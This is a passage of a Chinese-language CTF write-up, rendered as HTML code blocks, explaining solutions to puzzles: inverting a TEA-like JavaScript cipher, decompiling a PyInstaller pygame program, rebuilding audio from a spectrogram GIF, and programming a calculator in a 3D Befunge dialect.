<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Str4ToLong</span><span class="p">(</span><span class="nx">plaintext</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">));</span>
<span class="nx">code</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">keys</span><span class="p">);</span>
<span class="nx">str</span> <span class="o">+=</span> <span class="nx">LongToBase16</span><span class="p">(</span><span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">])</span> <span class="o">+</span> <span class="nx">LongToBase16</span><span class="p">(</span><span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">str</span><span class="p">;</span>
<span class="p">};</span>
<span class="kd">function</span> <span class="nx">code</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">keys</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">ctx0</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">],</span> <span class="nx">ctx1</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">];</span>
<span class="kd">const</span> <span class="nx">t</span><span class="o">=</span><span class="mh">0x52cfb2de</span> <span class="o">+</span> <span class="mh">0x4b67c6db</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mh">0x20</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">i1</span> <span class="o">=</span> <span class="nx">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">n</span><span class="o">=</span><span class="nx">i</span><span class="o">*</span><span class="nx">t</span>
<span class="kd">const</span> <span class="nx">n1</span><span class="o">=</span><span class="nx">i1</span><span class="o">*</span><span class="nx">t</span>
<span class="nx">ctx0</span> <span class="o">+=</span> <span class="p">(</span><span class="nx">ctx1</span> <span class="o"><<</span> <span class="mh">0x4</span> <span class="o">^</span> <span class="nx">ctx1</span> <span class="o">>>></span> <span class="mh">0x5</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ctx1</span> <span class="o">^</span> <span class="nx">n</span> <span class="o">+</span> <span class="nx">keys</span><span class="p">[</span><span class="nx">n</span> <span class="o">&</span> <span class="mh">0x3</span><span class="p">]</span>
<span class="nx">ctx1</span> <span class="o">+=</span> <span class="p">(</span><span class="nx">ctx0</span> <span class="o"><<</span> <span class="mh">0x4</span> <span class="o">^</span> <span class="nx">ctx0</span> <span class="o">>>></span> <span class="mh">0x5</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ctx0</span> <span class="o">^</span> <span class="nx">n1</span> <span class="o">+</span> <span class="nx">keys</span><span class="p">[</span><span class="nx">n1</span> <span class="o">>>></span> <span class="mh">0xb</span> <span class="o">&</span> <span class="mh">0x3</span><span class="p">];</span>
<span class="p">}</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ctx0</span><span class="p">;</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ctx1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以看到这是一个普通的对称加密算法,我们只需要把它反过来就可以得到解密算法:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">String</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">decrypt</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">ctx</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x2</span><span class="p">),</span> <span class="nx">keys</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">str</span> <span class="o">=</span> <span class="dl">''</span><span class="p">,</span> <span class="nx">plaintext</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mh">0x4</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
<span class="nx">keys</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Str4ToLong</span><span class="p">(</span><span class="nx">key</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">,</span> <span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mh">0x1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">plaintext</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mh">0x10</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Base16ToLong</span><span class="p">(</span><span class="nx">plaintext</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">));</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">Base16ToLong</span><span class="p">(</span><span class="nx">plaintext</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="nx">i</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">));</span>
<span class="nx">uncode</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">keys</span><span class="p">);</span>
<span class="nx">str</span> <span class="o">+=</span> <span class="nx">LongToStr4</span><span class="p">(</span><span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">])</span> <span class="o">+</span> <span class="nx">LongToStr4</span><span class="p">(</span><span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">unescape</span><span class="p">(</span><span class="nx">str</span><span class="p">);</span>
<span class="p">};</span>
<span class="kd">function</span> <span class="nx">uncode</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">keys</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">ctx0</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">],</span> <span class="nx">ctx1</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">];</span>
<span class="kd">const</span> <span class="nx">t</span><span class="o">=</span><span class="mh">0x52cfb2de</span> <span class="o">+</span> <span class="mh">0x4b67c6db</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x1f</span><span class="p">;</span> <span class="nx">i</span> <span class="o">>=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o">--</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">i1</span> <span class="o">=</span> <span class="nx">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">n</span><span class="o">=</span><span class="nx">i</span><span class="o">*</span><span class="nx">t</span>
<span class="kd">const</span> <span class="nx">n1</span><span class="o">=</span><span class="nx">i1</span><span class="o">*</span><span class="nx">t</span>
<span class="nx">ctx1</span> <span class="o">-=</span> <span class="p">(</span><span class="nx">ctx0</span> <span class="o"><<</span> <span class="mh">0x4</span> <span class="o">^</span> <span class="nx">ctx0</span> <span class="o">>>></span> <span class="mh">0x5</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ctx0</span> <span class="o">^</span> <span class="nx">n1</span> <span class="o">+</span> <span class="nx">keys</span><span class="p">[</span><span class="nx">n1</span> <span class="o">>>></span> <span class="mh">0xb</span> <span class="o">&</span> <span class="mh">0x3</span><span class="p">];</span>
<span class="nx">ctx0</span> <span class="o">-=</span> <span class="p">(</span><span class="nx">ctx1</span> <span class="o"><<</span> <span class="mh">0x4</span> <span class="o">^</span> <span class="nx">ctx1</span> <span class="o">>>></span> <span class="mh">0x5</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ctx1</span> <span class="o">^</span> <span class="nx">n</span> <span class="o">+</span> <span class="nx">keys</span><span class="p">[</span><span class="nx">n</span> <span class="o">&</span> <span class="mh">0x3</span><span class="p">]</span>
<span class="p">}</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ctx0</span><span class="p">;</span>
<span class="nx">ctx</span><span class="p">[</span><span class="mh">0x1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ctx1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>对 <code class="language-plaintext highlighter-rouge">gyflagh</code> 函数内的字符串和 key 进行 <code class="language-plaintext highlighter-rouge">decrypt</code> 操作,便可以得到能让 <code class="language-plaintext highlighter-rouge">gyflagh</code> 函数返回 <code class="language-plaintext highlighter-rouge">true</code> 的输入。这个输入当然就是 Flag 的括号内的部分了。</p>
<h2 id="micro-world">Micro World</h2>
<p>打开 x64dbg,挂到正在运行的程序上,发现窗口类名是 pygame,说明这个程序是从用 python 写的玩意儿打包出来的,很有可能是用的 pyinstaller。于是搜索一下发现使用 <a href="https://github.com/extremecoders-re/pyinstxtractor" target="_blank" rel="noopener">PyInstaller Extractor</a> 可以拆开 pyinstaller 打的包,不过注意需要你的 Python 版本和打包时的 Python 版本一致才能正常拆包出来,本题中是用 Python 3.8 打的包。用 <a href="https://github.com/rocky/python-decompile3" target="_blank" rel="noopener">decompyle3</a> 可以反编译拆出来的 pyc 文件,虽然最外层的控制流的处理上略有一些错误,但是稍作修改便能正常运行。于是我们把各个粒子的速度反转过来,并让它在一定时间后停止模拟,就可以看到粒子拼成了 Flag 文本的形状。</p>
<p>另外我还试了 <a href="https://github.com/rocky/python-uncompyle6" target="_blank" rel="noopener">uncompyle6</a> 和 <a href="https://github.com/zrax/pycdc" target="_blank" rel="noopener">pycdc</a>,不过它们的反编译质量不够高以至于我不能很快地看出来到底哪里反编译错了。</p>
<h2 id="pq">p😭q</h2>
<p>有频谱信息,大概可以还原出音频来吧。题目给了生成图片的代码,我们只需要倒过来就好。首先我们使用 <code class="language-plaintext highlighter-rouge">imageio</code> 库把 gif 文件读成 <code class="language-plaintext highlighter-rouge">numpy.narray</code> 序列,然后从每一帧中根据红色条高度得到每一个频率的分贝数,然后把它转换一下塞进 <code class="language-plaintext highlighter-rouge">librosa.feature.inverse.mel_to_audio</code> 得到音频数据,最后把使用 <code class="language-plaintext highlighter-rouge">soundfile</code> 库它输出为音频文件即可。需要注意的是,我们的 gif 是索引格式的,所以拿到的色值不是 RGB 值而是索引值。代码如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">imageio</span>
<span class="kn">import</span> <span class="nn">librosa</span>
<span class="kn">import</span> <span class="nn">numpy</span>
<span class="kn">import</span> <span class="nn">soundfile</span>
<span class="n">num_freqs</span> <span class="o">=</span> <span class="mi">32</span>
<span class="n">min_db</span> <span class="o">=</span> <span class="o">-</span><span class="mi">60</span>
<span class="n">max_db</span> <span class="o">=</span> <span class="mi">30</span>
<span class="n">height</span> <span class="o">=</span> <span class="mi">46</span>
<span class="n">quantize</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">white_pixel</span> <span class="o">=</span> <span class="mi">255</span>
<span class="n">fft_window_size</span> <span class="o">=</span> <span class="mi">2048</span>
<span class="n">frame_step_size</span> <span class="o">=</span> <span class="mi">512</span>
<span class="n">window_function_type</span> <span class="o">=</span> <span class="s">'hann'</span>
<span class="n">im</span> <span class="o">=</span> <span class="n">imageio</span><span class="p">.</span><span class="n">get_reader</span><span class="p">(</span><span class="s">'flag.gif'</span><span class="p">)</span>
<span class="n">spectrogram</span> <span class="o">=</span> <span class="n">numpy</span><span class="p">.</span><span class="n">array</span><span class="p">([[</span><span class="n">max_db</span><span class="o">-</span><span class="n">quantize</span><span class="o">*</span><span class="nb">min</span><span class="p">([</span><span class="n">height</span><span class="p">,</span><span class="o">*</span><span class="nb">filter</span><span class="p">(</span><span class="k">lambda</span> <span class="n">i</span><span class="p">:</span><span class="n">frame</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">quantize</span><span class="p">,(</span><span class="n">freq</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="n">quantize</span><span class="o">*</span><span class="n">quantize</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">!=</span><span class="n">white_pixel</span><span class="p">,</span><span class="nb">range</span><span class="p">(</span><span class="n">height</span><span class="p">))])</span> <span class="k">for</span> <span class="n">freq</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_freqs</span><span class="p">)]</span> <span class="k">for</span> <span class="n">frame</span> <span class="ow">in</span> <span class="n">im</span><span class="p">]).</span><span class="n">transpose</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">spectrogram</span><span class="p">.</span><span class="n">shape</span><span class="p">)</span>
<span class="n">sample_rate</span> <span class="o">=</span> <span class="mi">22050</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">librosa</span><span class="p">.</span><span class="n">feature</span><span class="p">.</span><span class="n">inverse</span><span class="p">.</span><span class="n">mel_to_audio</span><span class="p">(</span><span class="n">librosa</span><span class="p">.</span><span class="n">feature</span><span class="p">.</span><span class="n">inverse</span><span class="p">.</span><span class="n">db_to_power</span><span class="p">(</span><span class="n">spectrogram</span><span class="p">),</span><span class="n">sample_rate</span><span class="p">,</span><span class="n">n_fft</span><span class="o">=</span><span class="n">fft_window_size</span><span class="p">,</span> <span class="n">hop_length</span><span class="o">=</span><span class="n">frame_step_size</span><span class="p">,</span> <span class="n">window</span><span class="o">=</span><span class="n">window_function_type</span><span class="p">)</span>
<span class="n">soundfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"flag.ogg"</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">sample_rate</span><span class="p">,</span> <span class="nb">format</span><span class="o">=</span><span class="s">"ogg"</span><span class="p">)</span>
</code></pre></div></div>
<p>最后还原出的音频虽然电流声很大,但是至少可以听出来说了什么。把听到的内容抄出来就好了。</p>
<h2 id="just-be-fun">JUST BE FUN</h2>
<p>看起来是要用类似于三维版 <a href="https://esolangs.org/wiki/Befunge" target="_blank" rel="noopener">Befunge</a> 的玩意儿写一个简单计算器。不过需要注意除了所有的控制流操作都变成了三维的以外,这个解释器不支持 <code class="language-plaintext highlighter-rouge">p</code> 和 <code class="language-plaintext highlighter-rouge">g</code> 指令,但 <code class="language-plaintext highlighter-rouge">\</code> 指令的语义改为交换栈内指定两个位置的值,这样虽然不能再修改代码本身了,但是依旧保证了图灵完全。</p>
<p>为了方便编程和调试,我们直接在给出的判定代码的基础上进行修改。除了按需改变输入输出,我们还编写了一些辅助查看和生成代码的方法:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">put</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="n">z</span><span class="p">,</span><span class="n">code</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span><span class="p">,</span><span class="n">line</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">code</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span><span class="n">char</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
<span class="n">game_board</span><span class="p">[</span><span class="n">x</span><span class="o">+</span><span class="n">i</span><span class="p">][</span><span class="n">y</span><span class="o">+</span><span class="n">j</span><span class="p">][</span><span class="n">z</span><span class="p">]</span> <span class="o">=</span> <span class="n">char</span>
<span class="k">def</span> <span class="nf">dump</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="n">z</span><span class="p">,</span><span class="n">w</span><span class="p">,</span><span class="n">h</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">game_board</span><span class="p">[</span><span class="n">x</span><span class="o">+</span><span class="n">i</span><span class="p">][</span><span class="n">y</span><span class="o">+</span><span class="n">j</span><span class="p">][</span><span class="n">z</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">w</span><span class="p">)]))</span>
</code></pre></div></div>
<p>这样我们就可以在各层用类似二维版 Befunge 的格式编写程序了。我们在每一层分别放置一个组件,然后用第三个维度的跳转把它们连接起来。</p>
<p>首先是第 0 层,它会读入第一个操作符,并开始一个读入操作符并进行操作的循环。之后每个操作执行完成之后,便会移动回第 0 层右上的 <code class="language-plaintext highlighter-rouge">v</code> 处,开始下一次循环。注意读入的数值是 ASCII 码,所以我们需要额外转换。同时,由于我们只能使用 0 到 9 这十个立即数,我们需要做额外运算才能得到比较大的立即数。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,[</span>
<span class="s">">~68*-v"</span><span class="p">,</span>
<span class="s">"[ ~<"</span>
<span class="p">])</span>
</code></pre></div></div>
<p>在第 1 层和第 2 层我们分别实现了加法和乘法。这两个运算在解释器内有直接支持,所以较为简单。可以看到这两层分别复制了一份操作符,然后消耗复制的操作符来判断是否等于一个特定值。这样原来的操作符可以留给下一个操作来判断。而如果是对应的操作,则直接删除操作符,然后进行运算。之后每一种操作符都是如此实现的</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">">:167*+-!!v "</span><span class="p">,</span>
<span class="s">"[ _$~68*-+^"</span>
<span class="p">])</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">"[ _$~68*-*^"</span><span class="p">,</span>
<span class="s">">:67*-!!^"</span>
<span class="p">])</span>
</code></pre></div></div>
<p>在第 3 层和第 4 层我们分别实现了乘方和左移。由于输入的操作数一定在 1 和 9 之间,我们直接对操作数进行打表。我们依次判断操作数是 1 至 9 的哪一个,然后进入对应的分支进行操作。而常数次乘方和常数左移都可以用固定次数的乘法和压栈来实现。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">">:99*9+4+-!!v "</span><span class="p">,</span>
<span class="s">"[ _$~68*-v "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,[</span>
<span class="s">" >$"</span><span class="o">+</span><span class="s">":"</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="s">"*"</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="s">" "</span><span class="o">*</span><span class="p">(</span><span class="mi">18</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"^"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"-!| "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">"[ _$~68*-v "</span><span class="p">,</span>
<span class="s">">:69*6+-!!^ "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">4</span><span class="p">,[</span>
<span class="s">" >$"</span><span class="o">+</span><span class="s">"2"</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"*"</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">" "</span><span class="o">*</span><span class="p">(</span><span class="mi">18</span><span class="o">-</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"^"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"-!| "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
</code></pre></div></div>
<p>如果想对程序结构有更直观的理解,以下是第 3 层生成出来的代码结构:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ] <
>:99*9+4+-!!v
[ _$~68*-v
v <
>$ ^
>:1-!|
v <
>$:* ^
>:2-!|
v <
>$::** ^
>:3-!|
v <
>$:::*** ^
>:4-!|
v <
>$::::**** ^
>:5-!|
v <
>$:::::***** ^
>:6-!|
v <
>$::::::****** ^
>:7-!|
v <
>$:::::::******* ^
>:8-!|
v <
>$::::::::********^
>:9-!|
v <
</code></pre></div></div>
<p>在第 5 至 14 层和第 15 层至 24 层我们分别实现了异或和普通或。同样由于输入的操作数一定在 1 和 9 之间,而这两种运算仅影响结果最低的四个比特,我们直接对操作数以及已有的数的最低四个比特进行打表。我们依次判断操作数是 1 至 9 的哪一个,然后进入对应的层。然后在每个操作数对应的层,我们复制一遍已有的数,用栈上数据交换和取模操作得到已有的数的最低四个比特和高位部分,然后依次判断最低四个比特是 0 至 15 的哪一个,然后进入对应的分支得到最低四个比特操作后的结果,最后再加回去。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,[</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">">:456**-!!v "</span><span class="p">,</span>
<span class="s">"[ _$~68*-v "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="p">,[</span>
<span class="s">" [ $<"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"-!|"</span><span class="p">,</span>
<span class="s">"v <"</span><span class="p">,</span>
<span class="p">])</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" >::44*%-12</span><span class="se">\\</span><span class="s">44*%v "</span><span class="p">,</span>
<span class="s">" v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">k</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
<span class="s">" ^"</span> <span class="k">if</span> <span class="n">k</span><span class="o">==</span><span class="n">i</span> <span class="k">else</span> <span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">j</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">5</span><span class="p">,</span><span class="mi">5</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
<span class="s">" >$"</span><span class="o">+</span><span class="n">push4bit</span><span class="p">(</span><span class="n">j</span><span class="o">^</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"+ ^"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="n">push4bit</span><span class="p">(</span><span class="n">j</span><span class="p">)</span><span class="o">+</span><span class="s">"-!| "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">pass</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">15</span><span class="p">,[</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">"[ _$~68*-v "</span><span class="p">,</span>
<span class="s">">:456**4+-!!^ "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">15</span><span class="p">,[</span>
<span class="s">" [ $<"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"-!|"</span><span class="p">,</span>
<span class="s">"v <"</span><span class="p">,</span>
<span class="p">])</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">15</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
<span class="s">" ] <"</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" >::44*%-12</span><span class="se">\\</span><span class="s">44*%v "</span><span class="p">,</span>
<span class="s">" v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">k</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">15</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
